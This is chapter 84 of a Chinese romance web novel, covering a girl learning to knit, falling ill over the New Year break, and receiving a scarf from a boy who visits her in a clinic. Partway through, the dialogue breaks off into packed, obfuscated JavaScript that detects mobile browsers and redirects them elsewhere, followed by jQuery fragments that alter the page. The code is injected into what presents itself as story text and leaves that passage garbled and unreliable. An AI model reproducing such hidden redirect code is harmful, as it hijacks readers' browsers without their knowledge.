84. 第 84 章

    她们出门急,辛苑都没来得及去拿围巾,脖子被吹得凉凉的,拽着衣领试图挡风。孙宁宁见状,贴心地把自己的围巾摘下来递给她:“姐姐,你戴吧。”


    辛苑忙摆手拒绝:“不用啦,没那么冷。”


    孙宁宁不由分说,直接上手给她裹好围巾:“你不习惯这种天气,戴上吧,别感冒了。”


    辛苑感受着柔软温暖的围巾带来的暖意,感激地说:“谢谢你啊,你的围巾好软。”


    “是吧。”孙宁宁骄傲地说,“这是我自己买了毛线织的呢。”


    辛苑瞪大了眼睛:“真的假的?你好厉害啊。”她低头细细地看围巾,注意到围巾的花纹的确有的地方不太均匀,不过以一个高中生的手艺来说,这已经相当出色了。


    “没有啦,这种是最简单的了,我从初中就开始自己织着玩了,后来我还试着织过毛衣,可惜总也织不好。”


    “哪里简单!一看就好难。”


    孙宁宁歪头问她:“你想学吗?我可以教你,包你一天就能学会。”


    “真的?”辛苑想到了毫无思路的新年礼物,立马就动心了,但又很犹豫,“我怕我手太笨学不会。”


    “不会的,真的很简单,我肯定能教会你。”孙宁宁保证,又行动力惊人地提议,“反正现在也没事,你跟我回家吧,我让你看看我织的其他围巾。”


    辛苑欣然答应。


    孙宁宁家离外婆家并不远,走路不到十分钟就能到。两人在孙宁宁家待了很久,孙宁宁还细致地向她讲解示范了几种基本的针法。


    辛苑自己也试了试,尽管手指很笨拙,好歹歪歪扭扭地钩出了一排花纹。


    孙宁宁检查了一遍,称赞她:“还不错呀,多练练就熟练了。网上还有很多钩其他花纹的教程,都可好看了,你一定也会喜欢的。”


    辛苑顿时信心大增:“回家我就去买毛衣针和毛线。”


    “哎?我有多余的可以送给你。”孙宁宁去翻抽屉,找出一副竹制的毛衣针递给她,“这副我用着不顺手,你不介意的话就先用着,以后再买。”


    辛苑有点不好意思:“你也太好了吧,我都没给你准备什么礼物。”


    “没什么啦,放在我这儿也是吃灰,还不如送你呢。”孙宁宁笑着说,“而且这东西又不值钱,两三块钱就能买到,你就收下吧。”


    “那,谢谢你啦。”辛苑突然想起来自己戴了条手串,嫌太凉就塞进了口袋里,便掏了出来:“我用这条手串和你交换,它是陶瓷的,也不贵,你别嫌弃。”


    孙宁宁高兴地接受了,立刻戴在了手腕上:“谢谢姐姐。——对了姐姐,我们回去的时候可以顺路去商业街转一圈,那边的布店就有毛线卖,你挑挑有没有喜欢的颜色。”


    “好啊。”


    辛苑和孙宁宁在外面转了很长时间,辛苑选了半天,最后买了几团灰色的粗毛线。


    她们回到外婆家时已是饭点了,不出所料地挨了孙宁宁的母亲,也就是辛苑的大姨的一顿数落,说她自己跑出去玩也不知道带上弟弟。


    孙宁宁显然是习惯了,默默地听着,一言不发。辛苑想帮她说几句话,却被她在身后拉住了衣服,不情愿地又把话咽了回去,还是辛母听不下去,皱着眉让大姨少说几句,这才太平了。


    下午半天,孙宁宁话都很少,辛苑不知道怎么安慰她比较好,只能安静地陪在她身边,用织围巾帮她转移注意力。


    到了晚上,两个阿姨都回家了,辛苑被安排和辛母一起住在二楼的一个空房间,没有暖气也没有空调。辛苑怕冷,辛母便给她多盖了一床被子,说:“坚持几晚,明天去给你买个热水袋。”


    辛苑觉得自己的鼻子都凉了,往被子里缩了缩,说:“没事,买了回家又用不到,不要买多余的东西了。”


    “那再多盖一床?”


    “没事啦,这样就可以了。”辛苑翻了个身,面朝着辛母,忍不住说起了大姨责骂孙宁宁的事,愤愤不平地说,“真是太过分了,孙宁宁整天带孩子还不够吗?自己出去玩一会儿也要被骂。”


    辛母也很无奈:“谁说不是,当初她怀上安安,我就劝她别要了,一来压力太大,二来宁宁小升初,也需要好好照顾。可人家两口子知道是个男孩后,说什么也不听,非得生下来,说什么和宁宁作伴,我也就懒得多劝了。”


    辛苑小声嘀咕:“说得倒好听,不就是重男轻女吗?”


    辛母虽然也对大姨不满,但仍是警告辛苑:“你少管闲事啊,你大姨那个人说话不好听,万一你们再吵起来就更让我心烦了。”


    辛苑哼哼唧唧,没应声。


    辛母又问:“你听到没?”


    “嗯嗯嗯,听到了。”辛苑敷衍地应,“你说得好像我能管得了一样。”


    大概是不适应这里的天气,辛苑第二天就感冒了,鼻子直发痒,嗓子也隐隐作痛。辛母去药房给她买了感冒冲剂,然而并没有用,病毒依然气势汹汹地压倒了辛苑。


    在外婆家待了几天,辛苑就感冒了几天,吃了药也不见好,晚上睡觉都会咳醒,整个人都难受得不得了,唯一的乐趣就是学琢磨着织那条围巾。


    腊月二十六,辛苑和辛母终于疲惫地坐高铁赶回了青城。到家时已经是夜晚了,两人都很累,连行李都不想整理就各自洗漱完去睡了。


    没几天就要过年了,家里要做的事还有一堆,要大扫除,还要再采购一些年货。


    辛苑的感冒不仅没有好转,反而有愈发严重的趋势,辛母放弃了安排她大扫除的计划,把她送到了社区医院去挂水,安顿好她后就自己回家大扫除。


    辛苑原本带了复习资料,可或许是因为治疗室里温度太高,又时不时有小孩子的哭声扰人,她没看几页就莫名有种头晕眼花的感觉,只好合上书,闭上眼睛,听电视里正在放映的综艺节目。


    放在身边的手机嗡嗡嗡地持续震动起来,辛苑闭着眼摸到手机,看也没看就凭手感接通了:“喂?”


    那头沉默两秒,传来陈孟谈怀疑的声音:“是辛苑吗?”


    “不然还能是谁?”


    “你感冒了?鼻音怎么这么重。”


    “嗯。”辛苑捏了捏不通气的鼻子,“好几天了,一回家就被我妈赶来医院了。”


    陈孟谈也不废话,直接说:“定位发给我,我去找你。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187657|163673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “哎?”辛苑睁开眼,诧异地问,“你有空出来吗?不是说这几天都很忙吗?”


    “但探病的时间总是有的。”陈孟谈说,“快点啦,发我定位。”


    “哦……”


    辛苑挂断通话,把定位发给陈孟谈:“社区医院,离我们家很近。”


    “好,我很快就到。”


    辛苑放下手机,再次闭上眼睛。治疗室里安静下来,只有电视里的综艺节目还在发出声音。辛苑被暖气熏得昏昏欲睡,靠着床头,脑袋一点一点地往下耷拉。


    不知道过了多久,有脚步声靠近了自己靠坐的这张病床,辛苑困倦地睁开眼,一抬头就对上了陈孟谈的脸。她对陈孟谈笑了笑,可由于脸色实在不怎么好看,这个笑更显得她虚弱了。


    陈孟谈脸上满是担忧,搬了把凳子在她床前坐下,顺手把一个牛皮纸袋放在床上,轻声问:“你还好吗?怎么病这么重,几天不见脸都小了。”


    “哪有那么严重,小感冒而已。”辛苑揉揉眼睛,勉强打起点精神,“就是在外婆家太冷,冻着了,问题不大。”


    “问题不大还这么久都没好。”陈孟谈低头看她的手,“你的手冷吗?”


    “嗯?”辛苑跟着低下头,动了动左手,老实说,“左手冷,右手还好。”她也觉得奇怪,明明屋里的温度不低,她也不冷,可左手就是暖不起来,又冷又僵,像冰块一样。


    陈孟谈站起身来,说:“我出去一下。”


    辛苑不知道他去哪儿了,盯着门口的方向等他回来,余光不经意落在陈孟谈带来的那个纸袋上,袋口透出鹅黄色。


    辛苑正好奇是什么东西,陈孟谈提着一杯奶茶回来了,作势往她脸上贴。


    辛苑忙偏头躲开:“干吗啊。”


    陈孟谈把奶茶塞给她:“热的,拿着。”


    “医生说让我忌口几天,我也不该喝奶茶吧。”


    陈孟谈笑了:“不是让你喝,你垫在扎针的手下面,可以暖和一点。”


    “哦……”辛苑鼓鼓嘴,把左手放在奶茶上,不多时果然感觉回温了,“好像有用哎。”


    “有用就好。”陈孟谈把纸袋拿过来,说,“新年礼物,提前送你。”


    “我可以现在看吗?”


    陈孟谈点头:“当然。”


    辛苑单手把里面那抹鹅黄拽出来,慢慢展开,抬眼看陈孟谈:“围巾?”


    “嗯,我第一眼见到它就觉得这颜色很适合你,怎么样?”


    “很好看,摸着也很柔软。”辛苑莞尔一笑,“我很喜欢,谢谢你。”


    “喜欢就好,新年快乐。”


    辛苑摩挲着围巾,没想到他们的想法会不谋而合,不由得一阵感慨。她又把围巾叠好,说:“其实我也给你准备了新年礼物。”


    陈孟谈意外地挑眉:“真的?”


    “嗯……”辛苑想到自己那条织了拆,拆了又织,至今仍是半成品的围巾,心虚地补充,“但我要过几天才能给你。”


    陈孟谈嘴角上扬:“没关系,我等。——不过,可以先浅浅地透露一下吗?”


    辛苑微笑摇头:“不行。”